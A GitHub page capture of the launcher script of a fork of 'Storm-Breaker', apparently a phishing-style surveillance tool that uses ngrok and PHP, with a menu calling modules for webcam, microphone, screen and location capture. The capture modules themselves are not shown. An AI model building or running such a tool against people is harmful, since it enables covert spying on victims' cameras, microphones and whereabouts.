forked from ultrasecurity/Storm-Breaker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathStorm-Breaker.py
77 lines (50 loc) · 1.67 KB
/
Storm-Breaker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import os
import sys
import platform
import pip
from subprocess import getoutput
from modules import banner
from modules import localhost
if platform.uname()[0] == "Windows":
print("\n This Tool Only Works On Linux Distributions\n")
exit()
else:
pass
root = os.environ.get('USER')
if root != "root":
exit("You need to have root privileges to run this script.\nPlease try again, this time using 'sudo'. Exiting.")
check_php = getoutput("php -v")
if "not found" in check_php:
exit("please install php \n command > sudo apt install php")
try:
from colorama import Fore
import requests
from pyngrok import ngrok
except ImportError:
print("please install library \n command > python3 -m pip install -r requirments.txt")
while True:
banner.banner()
banner.infolist0()
try:
input1 = input(Fore.RED+" ┌─["+Fore.LIGHTGREEN_EX+"STORM-BREAKER"+Fore.BLUE+"~"+Fore.WHITE+"@HOME"+Fore.RED+"""]
└──╼ """+Fore.WHITE+"$ ")
if input1 == "1":
localhost.webcham()
elif input1 == "2":
banner.banner()
localhost.micro()
elif input1 == "3":
banner.banner()
localhost.screen()
elif input1 == "4":
banner.banner()
localhost.location()
elif input1 == "5":
banner.banner()
banner.Settings()
elif input1 == "6":
print("\n God Lock :) ")
sys.exit()
except KeyboardInterrupt:
print("")
sys.exit()